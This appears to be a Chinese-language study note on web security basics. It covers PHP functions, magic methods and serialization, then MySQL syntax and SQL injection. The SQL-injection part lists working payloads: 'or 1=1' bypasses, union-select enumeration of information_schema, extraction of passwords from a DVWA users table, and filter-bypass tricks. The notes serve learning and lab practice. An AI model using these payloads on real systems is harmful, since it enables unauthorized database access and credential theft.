web知识汇总
php
urlencode:url编码
“”会解析变量,
函数集锦
eval()
获取返回值,代码动态执行,里面可以直接是一个语句,加‘ ; ‘传入字符串后面必须加 分号;
$
表示一个名为str的普通变量,它可以存储字符串、整数、数组、布尔等任何类型的值
$$
表示一个可变变量(也可叫做引用变量),用于存储str的值。
变量覆盖
可变变量:指一个变量的变量名可以动态的设置和使用,利用一个普通的变量通过声明来设置。($this变量也是一个特殊变量,不能被动态引用)使用时注意引用变量的作用域和生存期
1 | <?php |
举个栗子

preg_match
被搜索的结果填充,进行正则表达式匹配。并且只匹配一次
preg_match_all
是用来获取指定数据内容
isset
is_numeric
函数用于检测变量是否为数字或者数字字符串。若是则为true,否则为false
布尔类型
值为true 或false
被认为是false的一些
- 布尔值 FALSE 自身
- 整型值 0 (零)
- 浮点型值 0.0 (零) 空 字符串, 以及 字符串 “0”
- 不包括任何元素的数组
- 不包括任何成员变量的对象(仅PHP 4.0 适用)
- 特殊类型 NULL (包括尚未设定的变量)
- 从没有任何标记(tags)的XML文档生成的SimpleXML 对象
序列化和反序列化
类与对象
创建类,语法
1 | class 类名{ |
对象实例化
1 | <?php |
对象比较
1 | var_dump($stu1==$stu2); 比较对象结构 |
命名空间
**namespace 名字;
因为我们是开源的,会遇到第三方重名的类
相当于是一个文件夹,用来规避重名的类,在不同的命名空间里面可以重名
魔术方法
- __wakeup()
在反序列化时php会调用
- __construct()
在类被初始化的时候触发,当对象被创建时,实例化的时候触发
- __distruct()析构函数
,当对象被销毁时,在整个php代码运行完的时候出发
- __call
当对象访问一个不存在的方法,或者不可访问的方法时候触发
- __get
当访问一个私有属性,不存在属性时触发
- __set
更改对象私有属性值的时候触发
- __toString
在对象被当成字符串调用的时候触发
- __invoke
当一个对象被当成方法调用的时候触发
序列化
serialize()
反序列化
unserialize()
[board]
SQL注入
数据库
- information_schema
SCHEMATA表,当前root中所有数据库的信息,一般用来查到表名
TABLES表:记录用户所有数据库名(TABLE_SCHEMA)和表名(TABLE_NAME)
columns表:提供表中的列信息
命令
SELECT WHERE
语法
SELECT column_name,column_name(列名称)
FROM table_name(表名称)
WHERE column_name operator value;字段名称,数据满足什么条件类似if语句
(if(。。。。=。。
printf(…)
)

CREATE DEATABASE语句,创建数据库
在 MySQL 中,可以使用 CREATE DATABASE 语句创建数据库,语法格式如下:
CREATE DATABASE [IF NOT EXISTS] <数据库名>
[[DEFAULT] CHARACTER SET <字符集名>]
[[DEFAULT] COLLATE <校对规则名>];
[ ]中的内容是可选的。语法说明如下:
<数据库名>:创建数据库的名称。MySQL 的数据存储区将以目录方式表示 MySQL 数据库,因此数据库名称必须符合操作系统的文件夹命名规则,不能以数字开头,尽量要有实际意义。注意在 MySQL 中不区分大小写。
IF NOT EXISTS:在创建数据库之前进行判断,只有该数据库目前尚不存在时才能执行操作。此选项可以用来避免数据库已经存在而重复创建的错误。
[DEFAULT] CHARACTER SET:指定数据库的字符集。指定字符集的目的是为了避免在数据库中存储的数据出现乱码的情况。如果在创建数据库时不指定字符集,那么就使用系统的默认字符集。
[DEFAULT] COLLATE:指定字符集的默认校对规则。

创建完后刷新一下侧边栏才能看到
creat table 创建表
create 表名(
列名1 定义字段的数据类型 ,
列名2 类型,
列名3 类型)
一个简单的建表格式,其中:
- 字符串类型(char,varchar)需要指定长度;
- 整型(int,biging,tinyint等)和日期类型(datetime,timestamp等)只需要指定类型,不需要指定长度;
- decimal类型需要指定精度和小数位数。

数据插入,增
1 | INSERT INTO TABLE_NAME (column1, column2, column3,...columnN) |
写明column就会一一对应,没写就会按照顺序依次赋值
注字符要用单引号,否则会报错

这样就创建成功了使用select*from t1即可查看
删delete
1 | DELETE FROM table_name//表名 |
用于删除表中的行

改,update
1 | UPDATE table_name |

and 和or 运算符


or语句,当判断结果为真就会全部查询出来,也就是万能钥匙

union多表联合查询

结果直接拼接显示, union可以对同一个表的两次查询联合起来

用来猜测字段
SQL注入
数字型注入
1 | select * from t1 where id= x |
x=1 or 1=1(万能密码)
x=1 union select 1,2,3…..(一个个尝试出字段)
字符型注入
1 | select * from t1 where name= 'x' |
x=1’ or 1=1 #—注释掉后面多出来的单引号
解题步骤
通常情况下,可能存在 Sql 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX
- 判断注入点(是否存在sql注入,如果存在属于哪种注入)
- 判断是否存在漏洞( 最为经典的单引号判断法:在参数后面加上单引号, 如果页面返回错误,则存在 Sql 注入。
原因是无论字符型还是整型都会因为单引号个数不匹配而报错。如果未报错,不代表不存在 Sql 注入,因为有可能页面对单引号做了过滤) - 判断注入类型
GROUP_CONCAT()函数
将多个字符串拼接成一个字符串

联合查询
字段数->回显位置->查阅库名->表名->字段名->查阅数据
- 查库名
SELECT DATABASE();– 能够知道当前在哪个数据库
select information_schema.SCHEMATA
查询所有库名:
‘ union select 1,group_concat(schema_name) from information_schema.schemata – ‘
-1’ union select 1,database()#
查表名
‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库的名称’#
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+
查字段
‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’
查获取字段信息
‘ union select 1,group_concat(password) from dvwa.users – ‘
空格绕过
/**/
%09
%0a等,详情参考命令执行绕过
实操
– 注释符
/**/– 一般可以用来绕过空格
SHOW DATABASES; – 显示MySQL所有数据库名称
SHOW TABLES; – 显示当前数据库中所有表的名称
SHOW TABLES FROM sys; – 作用同上 from后面加数据库名
– use 数据库名 如果数据库存在,选择进入该数据库
USE mysql;
#select 查询数据,展示
SELECT DATABASE();– 能够知道当前在哪个数据库
SELECT VERSION(); – 查询当前数据库版本,知道存在的漏洞
SELECT USER(); – 查询用户名
*代指所有的意思
#SELECT 列名称,列名称 FROM 表名称 – (从表中读取几列)
SELECT *(即所有的列) FROM TABLES;
SELECT TABLE_CATALOG FROM TABLES;
SELECT * FROM SCHEMATA ;– 当前root中所有数据库的信息
SELECT * FROM COLUMNS – 能够看到属于哪个表,哪个数据库
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/vplapeftc5newzk4
语雀文档ID: 111627859